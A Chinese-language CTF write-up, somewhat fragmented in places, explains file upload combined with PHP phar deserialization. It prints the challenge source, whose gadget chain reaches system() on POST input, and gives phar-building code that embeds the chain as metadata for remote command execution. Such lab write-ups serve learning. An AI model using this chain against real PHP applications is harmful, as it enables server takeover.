在打tgctf的时候碰到了文件上传+phar反序列化组合拳,之前有所了解但并没有掌握,趁复现好好的学习一下
先放上tg的源码
learn = "learn
";
}
public function __destruct()
{
echo "You studied hard yesterday.
";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.
";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.
";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!
";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!
";
}
}
class future{
private $impossible="How can you get here?
";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number
";
system('whoami');
}
}
public function __toString(){
echo "This is your future.
";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!
";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
比较明显的特征就是无法正常进行反序列化(不可逆的md5加密)且存在文件上传的途径(这里没有放文件上传的源码)
我们先引入phar反序列化的概念
PHAR反序列化漏洞是与PHP中的对象反序列化相关的一种安全漏洞,特别是在处理PHAR文件时可能被利用。
概念解释:
PHAR文件:
PHAR 是一种类似于ZIP或TAR的归档格式,但它专门为PHP应用程序设计。一个PHAR文件可以包含PHP文件、图片、配置等内容,可以直接在PHP环境中执行。
PHAR反序列化漏洞: PHAR文件可以存储序列化的PHP对象。在某些情况下,PHP内置函数如file_exists()、is_file()等文件操作函数可以被用于处理包含PHAR存档的路径。例如,如果一个应用程序在未预期的情况下处理到PHAR文件并通过反序列化机制读取该文件,攻击者可以构造恶意的PHAR文件,使PHP反序列化攻击得以执行。
对于晦涩的概念我向来无感,这里直接给上一个phar包(和jar包差不多)
比较重要的就是你要新建了一个类,还有一个就是setMetadata,这是核心
startBuffering();//开始写入文件
$phar->setStub(""); // 写入 stub
$o = new Dest1ny();//这个是链子也可以放在 @前面
$phar->setMetadata($o);//写入元数据
$phar->addFromString(localName:"test.txt",contents:"test"); //添加要压缩的文件
$phar->stopBuffering();//停止写入文件并完成压缩
?>
看我的注释就很好明白,把链子当作元数据生成phar压缩文件传入后配合phar来进行反序列化(大概的流程就是这样)
那么tg的payload也就很好写出,只需要改一下链子
study = new today();
$y->study->doing=new future();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($y); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
然后直接运行,这边报错的话,需要改一下php.ini里的readonly,把ON改成OFF
第一个红框是文件头,第二个红框是setMetadata,而且如果php文件里有读取文件的函数,他一定会把setMetadata里的内容反序列化。
更改后缀他的文件头是不变的,所以可以修改成任意的后缀(生成之后)